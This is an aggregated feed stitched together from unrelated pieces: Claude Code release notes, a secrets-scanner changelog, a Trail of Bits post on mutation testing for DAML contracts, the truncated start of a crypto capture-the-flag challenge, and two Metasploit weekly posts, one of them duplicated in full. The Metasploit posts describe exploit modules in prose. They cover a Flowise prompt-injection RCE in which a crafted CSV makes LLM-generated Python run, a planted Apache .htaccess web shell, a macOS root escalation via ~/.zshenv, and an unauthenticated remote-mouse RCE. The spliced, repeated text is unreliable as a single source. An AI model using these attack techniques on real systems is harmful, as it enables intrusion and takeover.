• Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait
• Reduced token usage in inter-agent messaging: SendMessage bodies are no longer duplicated into replayed history and tool results
• Changed /fork to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view
• Changed bare /btw to reopen the side-question panel on your most recent exchange so you can browse earlier answers
• Changed the ← footer hint to pulse N done for a moment when a background agent finishes while nothing needs your input
• Deprecated the Task tool's mode parameter (now ignored); subagents inherit the parent session's permission mode by default
• Changed Enterprise forceLoginMethod to be enforced for VS Code extension, SDK, setup-token, and install-github-app logins, not just the terminal
• Changed session transcripts to record the reasoning effort level on each assistant message
• Changed headless/SDK sessions to apply a set_model control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn
• Changed agent view / claude agents --json: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"
• Updated the auth status panel title from "Cloud authentication" to "Authentication"
• Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically

• Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
• Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message
• Fixed auto mode overriding a PreToolUse hook's ask decision for unsandboxed Bash — a hook ask now floors the decision at a prompt
• Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store
• Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message
• Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured
• Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message
• Fixed nested .claude/rules/*.md files loading even when setting sources exclude project settings
• Fixed file upload validation: filenames ending in a DOS device suffix (.prn) or trailing dot are now accepted, and files with multiple hard links are refused
• Fixed file uploads to Claude in Chrome from remote and CLI sessions
• Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel
• Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running
• Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)
• Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id
• Fixed /loop hiding the session from /resume after a single use
• Fixed screen reader users losing the audible terminal bell after /terminal-setup or onboarding terminal setup
• Fixed background jobs on LLM gateway auth (ANTHROPIC_AUTH_TOKEN + ANTHROPIC_BASE_URL) coming back "Not logged in" after the daemon respawns them
• Fixed claude agents jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing
• Fixed /clear not resetting the session cost counter — the statusline's cost now starts at $0 after /clear
• Fixed Claude in Chrome setup pages failing to open in the browser on Windows
• Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable
• Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link
• Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions
• Fixed routines with no schedule reporting a next run time in the year 1
• Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after /clear
• Improved terminal layout and rendering performance
• Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results
• Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments
• Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like 1e6 and 64_000
• Updated documentation links to the current docs sites
• Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees
• Changed /usage-credits to ask for confirmation before sending a request to organization admins
• Changed Vim mode s and S (substitute char/line) to work in NORMAL mode, matching vim behavior
• [VSCode] Updated the Remote Control banner to describe what it does
• Claude in Chrome: hardened file-upload path validation
• Claude in Chrome: save_to_disk on screenshot actions now writes the image to disk and returns the path; previously it did nothing
• Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.

Full Changelog: sdk/sdk/v0.0.60...sdk/sdk/v0.0.61

AI, it's all you hear about nowadays and everyone's got an opinion on it. Here at Metasploit, we care less about those opinions and more about the growing attack surface all this new software brings with it (yeehaw exploits!). Take for example the new Flowise CSV Agent Prompt Injection RCE brought to you by Takahiro Yokoyama and zdi-disclosures. Flowise is an open-source tool that lets you build AI apps and chatbots using a visual, drag-and-drop canvas and CVE-2026-41264 is an unauthenticated RCE run method of the CSV_Agents class in Flowise. The vulnerability exists due insufficient sandboxing and an incomplete list of disallowed inputs. It allows unauthenticated attackers to upload a .csv file containing arbitrary python code and execute it. One moment you're using AI to help draft and email and the next moment you're getting pwn'd, what a world we live in! Happy Friday and happy hacking everyone.

New module content (3)

Apache .htaccess Persistence

Authors: 4ravind-b, msutovsky-r7, and wireghoul

Type: Exploit

Pull request: #21473 contributed by 4ravind-b

Path: linux/persistence/apache_htaccess

Description: Adds a new persistence module, exploits/linux/persistence/apache_htaccess, that plants wireghoul's mod_cgi .htaccess web shell on a Linux Apache target.

Flowise CSV Agent Prompt Injection RCE

Authors: Takahiro Yokoyama and zdi-disclosures

Type: Exploit

Pull request: #21407 contributed by Takahiro-Yoko

Path: multi/http/flowise_auth_rce_cve_2026_41264

AttackerKB reference: CVE-2026-41264

Description: This adds a new exploit module for FlowiseAI Flowise (CVE-2026-41264). The CSV Agent feature evaluates LLM-generated Python code without proper sandboxing, allowing a prompt injection to achieve arbitrary code execution as the user running the server. Flowise versions 1.3.0 through 3.0.13 are affected. The module requires an API key with chatflows:create permission but does not require Flowise authentication to trigger the underlying flaw.

macOS PackageKit ZSH Environment Privilege Escalation

Authors: Mykola Grymalyuk and h00die

Type: Exploit

Pull request: #21499 contributed by h00die

Path: osx/local/packagekit_zshenv_privesc

AttackerKB reference: CVE-2024-27822

Description: This adds a new local privilege escalation module for macOS targeting CVE-2024-27822 in PackageKit.framework. When a PKG installer script uses a ZSH shebang, PackageKit runs it as root while inheriting the installing user's environment, causing ZSH to source the user's ~/.zshenv with root privileges. The module plants a payload in ~/.zshenv that fires only when running as root, then opens a minimal PKG with Installer.app; once the user approves the installation prompt and authenticates, the payload executes as root and a root session is returned. Affected versions are macOS 14.4, 13.6.6, 12.7.4, and 11 and earlier; the issue is patched in 14.5, 13.6.7, and 12.7.5.

Enhancements and features (5)

• #21416 from g0tmi1k - This updates the Exploit::Remote::Ftp mixin to improve target fingerprinting. It now leverages recog to fingerprint targets from their banners and adds ftp_fingerprint and ftp_list_directory methods to assist with target enumeration.
• #21436 from g0tmi1k - Improved UX for reloading of library files.
• #21579 from zeroSteiner - This adds a few extra fields to some MCP Server tools to align with recent RPC changes in the framework. The msf_service_info tool now has resource and parents fields, the msf_vulnerability_info tool now has a resource field, the msf_note_info tool now has a data field, and the msf_credential_info tool now has new realm_key and realm_value fields.
• #21580 from Pushpenderrathore - This adds a Certificate Signing Request (CSR) Trace to the CertificateTrace functionality. Users can now opt to see the CSR get printed when requesting certificates from AD CS.
• #21637 from eve0805 - This adds improved levels of granularity to the KerberosTicketTrace functionality. Users can now choose to print the full kerberos trace output, only the tickets or only the metadata.

Bugs fixed (2)

• #21588 from vinicius-batistella - Fix a bug in the format dispatcher where although we can generate AARCH64 windows exe files, we fail trying to do so because the dispatcher does not properly handle the request by the user.
• #21651 from jheysel-r7 - This fixes a bug in the Role Based Constrained Delegation (RBCD) module that prevented Access Control Entries (ACEs) from being removed due to a type mismatch while comparing Security Identifiers (SIDs).

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.142...6.4.143
• Full diff 6.4.142...6.4.143

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

• feat: add OpenRouter detector by @McPatate in #4500
• Integrations fully codeowns detectors by @trufflesteeeve in #5104
• [INS-332] Add New Relic Insights Insert key detector by @mustansir14 in #4778
• [INS-351] Added Duffel Token Detector by @MuneebUllahKhan222 in #4795
• [INS-341] Added Shippo detector by @MuneebUllahKhan222 in #4820
• [INS-467] Add IPinfo detector to default detectors list by @mustansir14 in #4970
• fix: reject --include-repos/--exclude-repos with --repo in github scan by @kashifkhan0771 in #5112
• [INS-468] Add improved lob detector to defaults.go by @mustansir14 in #4971
• feat(action): add image input to allow registry mirror overrides by @eightseventhreethree in #4965
• feat: Support archived repo exclusion from GH org scans by @hibare in #4875
• [INT-715] Retry transient failures when verifying OpenAI keys by @bill-rich in #5117
• [INS-410] Added batch token detector by @MuneebUllahKhan222 in #4824
• [INT-650] Don't log as error when git diff is too long by @bill-rich in #5113

New Contributors

• @McPatate made their first contribution in #4500
• @eightseventhreethree made their first contribution in #4965

Full Changelog: v3.95.8...v3.95.9

You're reading Claude desktop app for Linux enters beta, a blog post from OMG! Ubuntu. Do not reproduce elsewhere without permission.

Bugfixes

• Exposed reasoning effort variants for Grok models.
• Improved xAI prompt cache routing and PDF file support in Responses models.

Desktop

Improvements

• Added an Open containing folder action for projects on the home screen.
• Added a composer add menu for files, commands, context, and shell mode without losing draft text.
• Added a provider setup tip on new sessions when no external providers are connected.
• Remember review panel mode and selected file per session.
• Added inline file browser tabs for opening and previewing files from the side panel.
• Updated desktop translations.

Bugfixes

• Kept the review pane usable on wide screens by reserving its minimum width.
• Fixed hidden session panes staying mounted and causing side-panel glitches.
• Routed legacy drafts back to the session page.
• Loaded full review diffs for large patches when the initial diff is capped.
• Removed the first-open flash in the command palette.
• Routed the new session shortcut through tabs in the new layout.
• Kept session routes inside the correct layout when opening legacy session URLs.

For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.

Why DAML’s coverage reports lie

Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least 2019, and our primer on finding the bugs your tests don’t catch shows how a green suite can still miss the bug that matters.

DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.

How mutation testing works

Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.

Mutation testing forces the unhappy path

A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.

Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.

A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.

What Mewt adds for DAML

Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream tree-sitter-haskell grammar. DAML is Haskell-shaped, but its contract constructs (template, choice, controller, and signatory) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes /= where most languages write !=). We got most of the value of a from-scratch grammar without building one.

The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:

• Controller party swap (CPS in Mewt’s output): replace one party in a controller clause with another party that is in scope at that site.

• Controller party removal (CPR): drop one party from a multi-party controller list.

Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.

Driving a campaign needs no new harness. A short mewt.toml names the files to mutate and the test command (dpm test for a Daml 3 project), and mewt run does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.

What a surviving mutant looks like

Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the controller line on the Release choice.

template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)

A typical happy-path test creates the payment and has both parties approve the release. The actAs buyer <> actAs seller line submits the command with both parties’ authority:

testHappyPath : Script ()
testHappyPath = script do
 buyer <- allocateParty "Buyer"
 seller <- allocateParty "Seller"
 payment <- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer <> actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()

The test passes, and by the usual measure the suite looks complete: running dpm test with coverage reporting enabled shows full coverage.

$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised

The --coverage-ignore-choice Archive flag deserves a word. Every DAML template automatically gets an implicit Archive choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.

Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:

 choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)

Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the forbidden path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the paid == amount check to <= and >=, which survive because the test only ever pays the exact amount.)

Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.

Limitations and what comes next

Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.

Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its canton-stablecoin reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.

One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:

accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)

Mewt forced the if to always take the else branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.

Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our mutation-testing skill that helps configure campaigns for your project, and Trailmark with its genotoxic triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.

Also on the roadmap: choice-consumption mutations (consuming vs nonconsuming) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.

Dive in

Install Mewt from the repository, point a mewt.toml at your project and its test command, and mewt run. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with dpm, but Mewt just drives whatever test command you configure, so Daml 2 projects using the daml assistant work the same way.

Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.

If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. Contact us.

• Added a warning when your login is about to expire, so you can re-authenticate before background sessions are interrupted
• Added a grey ⏸ badge to the footer when in manual permission mode, making the active mode always visible
• Added the session's additional working directories to MCP roots/list, with notifications/roots/list_changed sent when the set changes
• Fixed opening or switching background agent sessions on macOS stalling for 15–20 seconds due to a false low-memory detection (regression in 2.1.196)
• Fixed background sessions becoming permanently unresponsive to attach, replies, and stop when the daemon's session token went stale — the session now recovers automatically
• Fixed returning to claude agents silently stopping running subagents and re-running the prompt from scratch — their work now carries over
• Fixed a memory and per-turn CPU regression in interactive sessions: the context-usage indicator no longer re-analyzes the entire transcript after every turn
• Fixed background agents inheriting a stale PATH from the daemon instead of the dispatching shell, causing missing tools on Windows
• Fixed background and agent-view sessions dropping a shell-exported ANTHROPIC_BASE_URL, which sent API keys to the default endpoint and failed with 401
• Fixed Bash failing with "argument list too long" in repos with many git worktrees
• Fixed worktree-isolated subagents sometimes running shell commands in the parent checkout instead of their own worktree
• Fixed worktree creation rejecting nested repositories in multi-repo workspaces, leaving background sessions unable to isolate and edit
• Fixed background agents crash-looping when their working directory was deleted, replaced by a file, or became an invalid path — they now fail once with a clear error
• Fixed a background daemon auto-upgrade failure silently killing all running background sessions
• Fixed TaskStop and TaskOutput failing to find background agents spawned by another agent — errors now list running agents by id and description
• Fixed the claude agents composer discarding your typed message when a slash command isn't available there
• Fixed the agent list crashing when opening a stopped session whose conversation was already open in another session
• Fixed background sessions showing "Needs input" in the agent list after the question was already answered
• Fixed background agent startup failures showing only "exit_with_message" instead of the actual error
• Fixed background sessions ignoring effortLevel changes in settings.json when forked through the daemon
• Fixed attached background sessions ignoring CLAUDE_CODE_DISABLE_MOUSE and CLAUDE_CODE_DISABLE_MOUSE_CLICKS opt-outs
• Fixed /exit incorrectly warning about running background agents after all named agents had completed
• Fixed background sessions started from a non-git directory unable to edit files when a WorktreeCreate hook was configured
• Fixed the @ directory picker in claude agents not showing registered git worktrees
• Fixed background task output on Windows being permanently replaced by an empty file after /clear
• Fixed content jumping when scrolling up through long transcript history
• Fixed the terminal flickering and jumping while typing in bash mode when a shell-history suggestion was shown
• Fixed literal ^[[I / ^[[O escape codes being printed when reattaching to a background session
• Fixed LSP-only plugins being incorrectly flagged for disuse when their language servers deliver diagnostics or answer navigation requests
• Improved responsiveness while long responses stream: live-preview updates no longer re-render the whole screen
• Improved subagent behavior: agents are now less likely to re-delegate their entire task to another subagent
• Reduced binary size by ~7 MB and startup memory by ~7 MB by loading a large bundled dependency lazily instead of inlining it
• Changed left arrow to no longer close the background tasks, diff, and workflow detail views — press Esc instead
• Changed the empty claude agents view to always show the organized sections (Needs input / Working / Completed) with descriptions
• Removed the startup "claude command missing or broken" warnings — they now appear in /doctor and /status instead
• Removed a redundant navigation hint from the claude agents footer
• [VSCode] Added a Settings toggle for "Enable Remote Control for all sessions"

This week, Metasploit contributor Dean Welch has added an SMB to Meterpreter session upgrade module. It uses PsExec to facilitate the upgrade. Users can load the module with use windows/manage/smb_to_meterpreter and specify the session number they wish to upgrade. This functionality is also available with the command sessions -u <session_id>. This work is part of an overarching effort to enable a variety of session types to be upgraded to Meterpreter when possible.

New module content (3)

Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution

Author: tmrswrr

Type: Exploit

Pull request: #21491 contributed by capture0x

Path: windows/misc/peyara_remote_mouse_rce

Description: Adds an exploit module for Peyara Remote Mouse v1.0.1 unauthenticated RCE.

Linux Execute Command

Authors: bcoles bcoles@gmail.com and modexp

Type: Payload (Single)

Pull request: #21239 contributed by bcoles

Path: linux/loongarch64/exec

Description: Adds a new linux/loongarch64/exec command payload.

SMB to Meterpreter Upgrade via PsExec

Author: Dean Welch

Type: Post

Pull request: #21581 contributed by dwelch-r7

Path: windows/manage/smb_to_meterpreter

Description: Adds the ability to upgrade authenticated SMB sessions to Meterpreter sessions using PsExec techniques.

Enhancements and features (1)

• #21527 from zeroSteiner - Adds authentication support to the MCP server's HTTP transport by default.

Bugs fixed (2)

• #21618 from zeroSteiner - Fixes a crash when running the scanner/discovery/udp_sweep module on Windows environments.
• #21624 from adfoster-r7 - Fixes a bug with SSH session's debug information showing the incorrect value localuser @ instead of ssh_user @ ssh_ip.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.141...6.4.142
• Full diff 6.4.141...6.4.142

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

This week, Metasploit contributor Dean Welch has added an SMB to Meterpreter session upgrade module. It uses PsExec to facilitate the upgrade. Users can load the module with use windows/manage/smb_to_meterpreter and specify the session number they wish to upgrade. This functionality is also available with the command sessions -u <session_id>. This work is part of an overarching effort to enable a variety of session types to be upgraded to Meterpreter when possible.

New module content (3)

Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution

Author: tmrswrr

Type: Exploit

Pull request: #21491 contributed by capture0x

Path: windows/misc/peyara_remote_mouse_rce

Description: Adds an exploit module for Peyara Remote Mouse v1.0.1 unauthenticated RCE.

Linux Execute Command

Authors: bcoles bcoles@gmail.com and modexp

Type: Payload (Single)

Pull request: #21239 contributed by bcoles

Path: linux/loongarch64/exec

Description: Adds a new linux/loongarch64/exec command payload.

SMB to Meterpreter Upgrade via PsExec

Author: Dean Welch

Type: Post

Pull request: #21581 contributed by dwelch-r7

Path: windows/manage/smb_to_meterpreter

Description: Adds the ability to upgrade authenticated SMB sessions to Meterpreter sessions using PsExec techniques.

Enhancements and features (1)

• #21527 from zeroSteiner - Adds authentication support to the MCP server's HTTP transport by default.

Bugs fixed (2)

• #21618 from zeroSteiner - Fixes a crash when running the scanner/discovery/udp_sweep module on Windows environments.
• #21624 from adfoster-r7 - Fixes a bug with SSH session's debug information showing the incorrect value localuser @ instead of ssh_user @ ssh_ip.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.141...6.4.142
• Full diff 6.4.141...6.4.142

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

• Claude in Chrome is now generally available
• Added background agent notifications in claude agents — sessions that need input or finish now fire the Notification hook (agent_needs_input / agent_completed)
• Added /dataviz skill for chart and dashboard design guidance with a runnable color-palette validator
• Gateway: added Claude Platform on AWS (anthropicAws) as an upstream provider; model-not-found responses now advance the failover chain
• Background agents launched from claude agents now commit, push, and open a draft PR when they finish code work in a worktree, instead of stopping to ask
• The built-in Explore agent now inherits the main session's model (capped at opus) instead of running on haiku
• Subagents and context compaction now inherit the session's extended thinking configuration, improving output quality on delegated tasks
• Fixed brief network drops mid-response aborting the turn — transient errors like ECONNRESET now retry with backoff instead of failing
• Fixed excessive background classifier requests when sandboxed processes repeatedly accessed the same network host
• Fixed background tasks in web, desktop, and VS Code task panels getting stuck on "Running" after they finish or after resuming a session
• Fixed agent teams: a teammate that dies on an API error now reports "failed" to the lead, and messaging a stuck teammate wakes it to retry immediately
• Fixed the /diff panel not refreshing when you switch branches or commit outside the session
• Fixed markdown tables overflowing and wrapping their right border when rendered in fullscreen mode
• Fixed Claude Platform on AWS and Mantle sessions dead-ending with "Please run /login" when the STS token expires — awsAuthRefresh now runs automatically
• Fixed "no route to host" for local-network hosts in macOS background agent sessions by declaring Local Network entitlements
• Fixed /desktop failing with "Cannot determine working directory" after entering and exiting a worktree
• Fixed background agents repeatedly showing "Reconnecting…" every ~52 seconds on macOS while the agents view was open
• Fixed pressing ← inside claude attach <id> exiting to the shell instead of opening the agent view
• Fixed claude --bg silently creating an unattachable session when combined with --print/-p; the conflicting flags are now rejected up front
• Fixed the workflow progress view dropping the earliest agents from the list while the phase counter stayed correct in SDK and desktop-app sessions
• Fixed .claude/rules/ conditional rules not loading when the target file is reached via a symlinked path
• Fixed Cmd+click not opening URLs in fullscreen mode in Warp on macOS
• Fixed double-click word selection in fullscreen mode to select the entire URL including the scheme
• Fixed plan mode not auto-allowing read-only tool calls when a session starts in plan mode
• Fixed /branch deriving its default fork name from the compaction summary instead of the first real prompt
• Improved focus mode: subagents launched in a turn now appear in its activity summary, and completed background notifications fold into a single count
• Improved syntax highlighting accuracy in code blocks, diffs, and file previews by upgrading to highlight.js 11
• Keyboard shortcut hints now show opt/cmd instead of alt/super when connected from a Mac over SSH
• Improved API retry UX: the error reason is now shown after the second attempt, and a status page link replaces the spinner tip when the API is overloaded
• /login now opens the sign-in dialog from the claude agents view instead of saying it isn't available
• Subagents now treat messages from the agent that launched them as normal task direction; an agent's message is still never treated as the user's approval
• Removed the /agents wizard; ask Claude to create or manage subagents, or edit .claude/agents/ directly

This is not a very basic level challenge. It covers moderate level cryptographic concepts, so some familiarity with basic mathematics, cryptographic functions, and encryption algorithms will be helpful. I’ll try to explain every part as clearly as possible.

In this challenge, a hash value and the corresponding encryption code are provided. The goal is to understand how the plaintext is transformed into that hash. We need to reverse engineer or perform cryptanalysis on the encryption process to recover the original plaintext from the given hash.

Here is the encryption and hashing code used in the challenge.

You are given the following hash:

1d6a2172025e1858754075123b6658532d1a4e775e1f43336e227d5a4529734f

Below is the complete source code used in the challenge.

#!/usr/bin/env python3

# This cipher uses 100 rounds and therefore provides extremely strong security.
# Repeated substitution and permutation remove all algebraic structure.
# Since the SBox is key dependent, recovering the plaintext without brute force is infeasible.

BLOCK_SIZE = 32

KEY_SBOX = [211, 243, 147, 179, 83, 115, 19, 51, 210, 242, 146, 178, 82, 114, 18, 50, 209, 241, 145, 177, 81, 113, 17, 49, 208, 240, 144, 176, 80, 112, 16, 48, 215, 247, 151, 183, 87, 119, 23, 55, 214, 246, 150, 182, 86, 118, 22, 54, 213, 245, 149, 181, 85, 117, 21, 53, 212, 244, 148, 180, 84, 116, 20, 52, 219, 251, 155, 187, 91, 123, 27, 59, 218, 250, 154, 186, 90, 122, 26, 58, 217, 249, 153, 185, 89, 121, 25, 57, 216, 248, 152, 184, 88, 120, 24, 56, 223, 255, 159, 191, 95, 127, 31, 63, 222, 254, 158, 190, 94, 126, 30, 62, 221, 253, 157, 189, 93, 125, 29, 61, 220, 252, 156, 188, 92, 124, 28, 60, 195, 227, 131, 163, 67, 99, 3, 35, 194, 226, 130, 162, 66, 98, 2, 34, 193, 225, 129, 161, 65, 97, 1, 33, 192, 224, 128, 160, 64, 96, 0, 32, 199, 231, 135, 167, 71, 103, 7, 39, 198, 230, 134, 166, 70, 102, 6, 38, 197, 229, 133, 165, 69, 101, 5, 37, 196, 228, 132, 164, 68, 100, 4, 36, 203, 235, 139, 171, 75, 107, 11, 43, 202, 234, 138, 170, 74, 106, 10, 42, 201, 233, 137, 169, 73, 105, 9, 41, 200, 232, 136, 168, 72, 104, 8, 40, 207, 239, 143, 175, 79, 111, 15, 47, 206, 238, 142, 174, 78, 110, 14, 46, 205, 237, 141, 173, 77, 109, 13, 45, 204, 236, 140, 172, 76, 108, 12, 44]

